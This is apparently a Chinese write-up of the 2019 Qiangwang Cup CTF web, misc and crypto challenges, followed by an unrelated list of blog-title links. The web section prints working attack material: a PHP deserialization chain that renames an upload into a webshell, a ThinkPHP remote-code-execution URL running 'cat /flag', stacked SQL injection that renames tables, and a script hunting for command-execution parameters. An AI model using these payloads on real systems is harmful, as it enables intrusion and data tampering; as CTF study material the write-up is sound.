Web

1、UPLOAD

复现环境https://github.com/CTFTraining/qwb_2019_upload
先看一下网站情况:

是一个注册可登录的界面,登陆之后可以上传图片,一个账号只能上传一次。

扫一下后台目录,发现upload是泄露的,www.tar.gz是泄露的。
www.tar.gz下载下来是网站的源码,upload则是我们上传的文件,找到上传文件的源码:

<?php
namespace app\web\controller;use think\Controller;class Profile extends Controller
{public $checker;public $filename_tmp;public $filename;public $upload_menu;public $ext;public $img;public $except;public function __construct(){$this->checker=new Index();$this->upload_menu=md5($_SERVER['REMOTE_ADDR']);@chdir("../public/upload");if(!is_dir($this->upload_menu)){@mkdir($this->upload_menu);}@chdir($this->upload_menu);}public function upload_img(){if($this->checker){if(!$this->checker->login_check()){$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";$this->redirect($curr_url,302);exit();}}if(!empty($_FILES)){$this->filename_tmp=$_FILES['upload_file']['tmp_name'];$this->filename=md5($_FILES['upload_file']['name']).".png";$this->ext_check();}if($this->ext) {if(getimagesize($this->filename_tmp)) {@copy($this->filename_tmp, $this->filename);@unlink($this->filename_tmp);$this->img="../upload/$this->upload_menu/$this->filename";$this->update_img();}else{$this->error('Forbidden type!', url('../index'));}}else{$this->error('Unknow file type!', url('../index'));}}public function update_img(){$user_info=db('user')->where("ID",$this->checker->profile['ID'])->find();if(empty($user_info['img']) && $this->img){if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){$this->update_cookie();$this->success('Upload img successful!', url('../home'));}else{$this->error('Upload file failed!', url('../index'));}}}public function update_cookie(){$this->checker->profile['img']=$this->img;cookie("user",base64_encode(serialize($this->checker->profile)),3600);}public function ext_check(){$ext_arr=explode(".",$this->filename);$this->ext=end($ext_arr);if($this->ext=="png"){return 1;}else{return 0;}}public function __get($name){return $this->except[$name];}public function __call($name, $arguments){if($this->{$name}){$this->{$this->{$name}}($arguments);}}}

对上传的文件进行了md5处理,修改后缀拿shell是不可能了。
理一下思路,应该是Register -> Index、Login -> Profile,然后对代码就行审计,文件上传不可行了,但是Profile里有个反序列化函数,我们可以利用类的反序列化。
看Profile里的这一段:

public function upload_img(){if($this->checker){if(!$this->checker->login_check()){$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";$this->redirect($curr_url,302);exit();}}if(!empty($_FILES)){$this->filename_tmp=$_FILES['upload_file']['tmp_name'];$this->filename=md5($_FILES['upload_file']['name']).".png";$this->ext_check();}if($this->ext) {if(getimagesize($this->filename_tmp)) {@copy($this->filename_tmp, $this->filename);@unlink($this->filename_tmp);$this->img="../upload/$this->upload_menu/$this->filename";$this->update_img();}else{$this->error('Forbidden type!', url('../index'));}}else{$this->error('Unknow file type!', url('../index'));}}

我们可以利用类的反序列化,通过copy($this->filename_tmp, $this->filename);来对文件名进行修改,那么就要绕过这段代码的第一个if语句,让checker的值为false,让ext的值为true,接下来就是考虑怎么利用反序列化来执行这个upload_img函数了。

Profile中有这两个魔术方法:

public function __get($name){return $this->except[$name];}public function __call($name, $arguments){if($this->{$name}){$this->{$this->{$name}}($arguments);}}

__call方法在对象调用不可调用方法是会被触发,__get方法在调用补课调用属性的时候会被触发,可以利用这两个魔术方法来调用update_img函数。
poc如下:

<?php
namespace app\web\controller;class Register{public $checker;public $registed;
}
class Profile{public $checker;public $filename_tmp;public $filename;public $upload_menu;public $ext;public $img;public $except;
}$a=new Register();
$a->registed=0;
$a->checker=new Profile();
$a->checker->except=array('index'=>'upload_img');
$a->checker->ext=1;
$a->checker->filename_tmp="./upload/319bcb1118ebf67e39042aed397fe7ba/d1cd8a0e3f740a40b97e8c4140d40383.png";
$a->checker->filename="./upload/319bcb1118ebf67e39042aed397fe7ba/shell.php";
echo base64_encode(serialize($a));
?>

先说__call和__get方法:

class Test{public function __call($method,$args){echo $method;var_dump($args);}   }  $ob=new Test();$ob->hello(1,2);

上面的例子将输出:

hello
Array(
[0]=>1
[1]=>2

也就是说,不可调用方法的名字做__call方法的第一个参数,第二个参数是不可调用方法的参数组成的数组。
而__get方法则是把不可调用的属性名当做参数。
然后再来解释一下具体流程。
先用的是Register类,看这个类里面的构造函数和析构函数:

class Register extends Controller
{public $checker;public $registed;public function __construct(){$this->checker=new Index();}public function __destruct(){if(!$this->registed){$this->checker->index();}}

把checker写成Profile类的对象,然后registed为0的时候会执行checker->index();这对于Profile类的对象checker来说就是一个不可调用的函数,因为Profile类中没有这个方法,所以会触发__call方法,此时__call函数的参数为:$name=index,$arguments=array([0]=>‘index’),而index对于Profile类是不可调用属性,所以触发__get方法,且以index为参数,所以我们poc中有$a->checker->except=array(‘index’=>‘upload_img’),然后__get方法就会返回调用upload_img函数,这样我们的目的就达到了,然后就会把我们的图片的文件名修改成php文件,就可以对木马进行解析了。
下面就可以直接用蚁剑连接了。

2、强网先锋-上单

目录可以直接浏览,找到log文件看到:

看到通过参数传递的时候可以进行命令执行,直接构造payload:
http://49.4.26.104:32291/1/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

访问即可拿到flag。

3、随便注

(由于是复现,可能截图内容和原题不一样,但是做题方法是一样的)
考点:堆叠注入
随便测试一下,得到回显:

可以看到注入的关键字被过滤,点也被过滤,貌似注入语句少了点是注不出来东西的,无法访问information_schema中的tables和columns 的,尝试堆叠注入:
直接对1查询:

payload:’;show tables;

看到有两个表,逐个查看每个表的信息:
payload:’;describe `1919810931114514`;

这是1919810931114514表的信息,数字串为名的表操作时要加上反引号。
对这个结果做一个解释:
本地创建一个表进行describe查看表的结构

所以上面返回的数组是有表的属性组成,describe结果的每个字段为表的一个元素,所以可以知道flag在1919810931114514表中。

再看看表words:

由此可知表中有两个字段,页面初始查询1时返回的也是表中两行的数据,没有flag明显不是1919810931114514表,据此推断,查询1时返回的是words表的内容。

如果把words表的名称修改掉,把1919810931114514表的内容加上id=1的名字改成words,那么当查询1时就会返回1919810931114514表的内容,也就能拿到flag了。
payload:’;alter table `1919810931114514` add(id int default 1);alter table words rename xxx;alter table `1919810931114514` rename words;

然后直接查询1就拿到flag了。

对于这个题:
https://mochazz.github.io/2019/05/27/2019强网杯Web部分题解/
提供了另一种做法

4、高明的黑客


直接下载www.tar.gz,解压到源码,不过源码有点多了,3002个php文件,文件命名还这么变态,估计就是要写python脚本了…
随便打开几个源码文件,看看能找到什么线索。

基本上都有$_GET[],而且有的还有system()和eval(),system()可以执行系统命令,eval()可以执行php语句,用grep -r命令查看文件中的system和eval,可以找到一大堆,所以这一题的思路应该是:通过$_GET[]来传递命令,然后由system()或eval()执行。
下面用脚本进行(文件多,跑的时间长,如果网速慢,估计没戏):

import re
import requests
import ospath = 'src/'
url = 'http://127.0.0.1:8302/'
r = re.compile(r'(_GET\[\')(.*)(\'\])')
listfile = os.listdir(path)
#print(listfile)
for file in listfile:f = open(path + file)con = f.read()result = r.findall(con)for j in result:url1 = url + file + '?' + j[1] + '=echo good;'print(url1)recon = requests.get(url1).textif 'good' in recon:print('YES')print(url1)exit();

对j[1]做一下解释,re模块是python的正则匹配模块,正则表达式书写的时候可以看到有三个括号分别包括了一部分,j[1]这个地方就是正则表达式中的GET的参数部分。

跑出来目标php文件后,直接对这个文件传递参数cat /flag就可拿到flag了。

Misc

1、强网先锋-打野

是个坑。。。一个蔡徐坤的图
工具zsteg秒解:

2、鲲or鳗orGame

没有找到复现的环境,从网上学到的方法是这样的:
两个音乐和一个game,首先选择了game,再game页面查看源码:

mobile.js中有

下载game.gb,是GAMEBOY文件,使用VisualBoy Advance金手指进行修改。
首先玩到 1,定位rom中的位置

然后玩到2进一步确定位置

那就把两个地址的数值改到最大 FF

分别应用两个金手指,发现第一个,在开始到结束,结束的时候,就出了flag

Crypto

1、强网先锋-辅助

源码如下

flag=open("flag","rb").read()from Crypto.Util.number import getPrime,bytes_to_long
p=getPrime(1024)
q=getPrime(1024)
e=65537
n=p*q
m=bytes_to_long(flag)
c=pow(m,e,n)
print c,e,np=getPrime(1024)
e=65537
n=p*q
m=bytes_to_long("1"*32)
c=pow(m,e,n)
print c,e,n'''
output:
2482083893746618248544426737023750400124543452082436334398504986023501710639402060949106693279462896968839029712099336235976221571564642900240827774719199533124053953157919850838214021934907480633441577316263853011232518392904983028052155862154264401108124968404098823946691811798952747194237290581323868666637357604693015079007555594974245559555518819140844020498487432684946922741232053249894575417796067090655122702306134848220257943297645461477488086804856018323986796999103385565540496534422406390355987976815450744535949785073009043007159496929187184338592859040917546122343981520508220332785862546608841127597
65537
149670300599751149502953998741850470537365878801279905420357652014257793424306625177650632587846858681070667894757471802447113526464697767329385446415838423137918729863575044621849240752274334986314232891879883514756667851908542103895875949754560649846119904611266843010862415329152673116751641902134742453110196236548659378516535328709654234745553482398580215515896501696024394238411606987933381152042381400857386808833134335740602436000285006008246243584734030595975938914121793991658136225129012633802995610196247414887793670193897757865472920653528850072242395817769758923853644464461856429391372875199459748077273829060039572042737496679186881067950328956133163629908872348108160129550437697677150599483923925798224328175594483217938833520220087230303470138525970468915511111320396185482564783975435346354440035776909781158407636044986403819840648379609630039348895415045723208843631191252142600667607807479954194447237061080618370787672720344741413537975922184859333432197766580150534457001196765621678659952108010596273244230812327182786329760844037149719587269632133595149294067490955644893402708720284179715002149224068928828656515326446881791228638008572889331511945042911372915003805505412099102954073299010951896955362470
65537
14624662628725820618622370803948630854094687814338334827462870357582795291844925274690253604919535785934208081825425541536057550227048399837243392490762167733083030368221240764693694321150104306044125934201699430146970466657410999261630825931178731857267599750324918610790098952520113593130245010530961350592735239454337631927669542026935873535964487595433984902529960726655481696404006628917922241666148082741874033756970724357470539589848548704573091633917869387239324447730587545472564561496724882799495186768858324490838169123077051890332313671220385830444331578674338014080959653201802476516237464651809255679979
'''

给了两个rsa的c、e、n,p是两个n的公因数,于是用辗转相除法求出p

n1 = 14967030059975114950295399874185047053736587880127990542035765201425779342430662517765063258784685868107066789475747180244711352646469776732938544641583842313791872986357504462184924075227433498631423289187988351475666785190854210389587594975456064984611990461126684301086241532915267311675164190213474245311019623654865937851653532870965423474555348239858021551589650169602439423841160698793338115204238140085738680883313433574060243600028500600824624358473403059597593891412179399165813622512901263380299561019624741488779367019389775786547292065352885007224239581776975892385364446446185642939137287519945974807727
n2 = 14624662628725820618622370803948630854094687814338334827462870357582795291844925274690253604919535785934208081825425541536057550227048399837243392490762167733083030368221240764693694321150104306044125934201699430146970466657410999261630825931178731857267599750324918610790098952520113593130245010530961350592735239454337631927669542026935873535964487595433984902529960726655481696404006628917922241666148082741874033756970724357470539589848548704573091633917869387239324447730587545472564561496724882799495186768858324490838169123077051890332313671220385830444331578674338014080959653201802476516237464651809255679979def gcd(n1, n2):while 1:mod = n1 % n2if mod == 0:return n2n1 = n2n2 = modif __name__ == "__main__":g = gcd(n1, n2)print(g)print(n1 / g)

得到p为161993393900030566867150602363721535479433489542726899362944130872107225598993516228193877689420023695231584876954537089973673478074348422697619820309397363583748523503035462772765277978491082324620122838540365168604124924805412323471486221429513024367107238770298040268787441768635257727315317704741778501737
然后脚本rsa解密:

from Crypto.Util.number import  inverse, long_to_bytes
#crypto
c = 2482083893746618248544426737023750400124543452082436334398504986023501710639402060949106693279462896968839029712099336235976221571564642900240827774719199533124053953157919850838214021934907480633441577316263853011232518392904983028052155862154264401108124968404098823946691811798952747194237290581323868666637357604693015079007555594974245559555518819140844020498487432684946922741232053249894575417796067090655122702306134848220257943297645461477488086804856018323986796999103385565540496534422406390355987976815450744535949785073009043007159496929187184338592859040917546122343981520508220332785862546608841127597
n = 14967030059975114950295399874185047053736587880127990542035765201425779342430662517765063258784685868107066789475747180244711352646469776732938544641583842313791872986357504462184924075227433498631423289187988351475666785190854210389587594975456064984611990461126684301086241532915267311675164190213474245311019623654865937851653532870965423474555348239858021551589650169602439423841160698793338115204238140085738680883313433574060243600028500600824624358473403059597593891412179399165813622512901263380299561019624741488779367019389775786547292065352885007224239581776975892385364446446185642939137287519945974807727
p = 161993393900030566867150602363721535479433489542726899362944130872107225598993516228193877689420023695231584876954537089973673478074348422697619820309397363583748523503035462772765277978491082324620122838540365168604124924805412323471486221429513024367107238770298040268787441768635257727315317704741778501737
q = n//p
e = 65537phi = (p - 1) * (q - 1)
d = inverse(e, phi)m = pow(c,d,n)print (m)
print(long_to_bytes(m))

拿到flag:

2019强网杯部分writeup相关推荐

  1. 2019强网杯crypto writeup

    本次write包含以下题目 copperstudy randomstudy 强网先锋-辅助 copperstudy 题目描述 nc 119.3.245.36 12345 连上去返回 [+]proof: ...

  2. 实战:2019 强网杯 final Web Writeup

    前言 强网杯线下赛打的非常happy也非常累,感觉这种赛制非常有意思,早就厌倦了web的AD,这种cms的0/1day的挖掘非常带劲,就是和0ctf连着打,感觉命都没了. 线下赛共有3道web,分别是 ...

  3. 2019强网杯 - 密码学-RSA-Coppersmith

    Coppersmith 相关攻击 学习资料: https://ctf-wiki.github.io/ctf-wiki/crypto/asymmetric/rsa/rsa_coppersmith_att ...

  4. 2021强网杯 ezmath writeup

    前言 题目ida查看后发现是浮点数的运算,涉及到精度的问题,本来想的是爆破每一位,但是发现条件由于精度损失的问题不可能相等,且数据越来越大,直到程序inf.后来听说是math有关的知识,看了别人的wp ...

  5. 第二届全国强网杯Web 题three hit学习心得(伪write up)

    前言:本人CTF-WEB入门,有参赛,赛后参考了很多write up想解出此题,无奈理解能力有限,看不懂很多大佬的思路,最后看 酷辣虫上的一篇大佬write up才弄明白. 现将学习心得总结如下,说得 ...

  6. 强网杯2019(高明的黑客强网先锋上单)

    强网杯2019(高明的黑客&强网先锋上单) 前言 这里主要是对强网杯web中高明的黑客和上单两道题进行一个复现回顾 再次感谢大佬提供的场景复现:https://www.zhaoj.in/rea ...

  7. 强网杯 2019]随便注 【SQL注入】四种解法

    题目简介 题目名称:[强网杯 2019]随便注 1 题目平台:BUUCTF 题目类型:Web 考察知识点: SQL注入 解题步骤 方法一: 首先启动并访问靶机,有一个输入框,随便输入1' or 1 = ...

  8. php upload ctf,强网杯CTF防御赛ez_upload Writeup

    这是强网杯拟态防御线下赛遇到的web题目,本来是不打算分享Writeup的,但是由于问的人很多,于是这里分享给大家. ez_upload这题算是非常经典的堆叠black trick的题目,算是比较典型 ...

  9. 强网杯2019 Copperstudy

    强网杯2019 Copperstudy 靶机:node4.buuoj.cn:29678 第一次见靶机的题,找题目找了半天

  10. BUUCTF Web [强网杯 2019]随便注

    「作者主页」:士别三日wyx   此文章已录入专栏<网络攻防>,持续更新热门靶场的通关教程 「未知攻,焉知收」,在一个个孤独的夜晚,你完成了几百个攻防实验,回过头来才发现,已经击败了百分之 ...

最新文章

  1. 多域名虚拟空间及DNS配置
  2. 一起学mini2440裸机开发(十)--mini2440外部中断实验
  3. java中上转型概念_在java 中,什么叫向上转型?
  4. 阿里云首发Dubbo3.0 + Nacos2.0
  5. 【案例分析】分布式系统的接口幂等性设计!
  6. 文献记录(part6)--Dynamic Tree Cut in-depth description, tests and applications
  7. ORACLE关于段的HEADER_BLOCK的一点浅析
  8. git add * 提示warning: LF will be replaced by CRLF in 解决办法
  9. 机器学习速成课程 | 练习 | Google Development——编程练习:使用 TensorFlow 的起始步骤
  10. java用DFA实现脏词过滤以及用FileAlterationListenerAdaptor实现对资源文件修改的动态监听
  11. Code Style of Mangata
  12. MySQL高可用之MHA的搭建 转
  13. C语言编写飞机大战程序,C语言实现简单飞机大战
  14. word树状分支图_在word中做树状图的方法步骤详解
  15. detach()函数理解
  16. android切换皮肤,Android 应用更换皮肤实现方法
  17. Qt多人协作项目执行方案
  18. 知乎网的CSS命名规律研究
  19. Kafka SASL/PLAIN加密 及Kafka-Python整合
  20. bootStrap 教程 文档

热门文章

  1. hdu1429推箱子
  2. cmd查看自己的CPU参数
  3. vim设置自动保存快捷键、执行当前正在编写的Shell脚本快捷键
  4. JS中使数组倒序排列
  5. Android 实现扫一扫功能
  6. 软件环境常识 --dev sit uat
  7. 基于HPC场景的集群管理系统(slurm系统初相识)
  8. Invenio 数字图书馆框架
  9. 74HC595D驱动程序
  10. 做好目标管理和任务管理,提高办公协同效率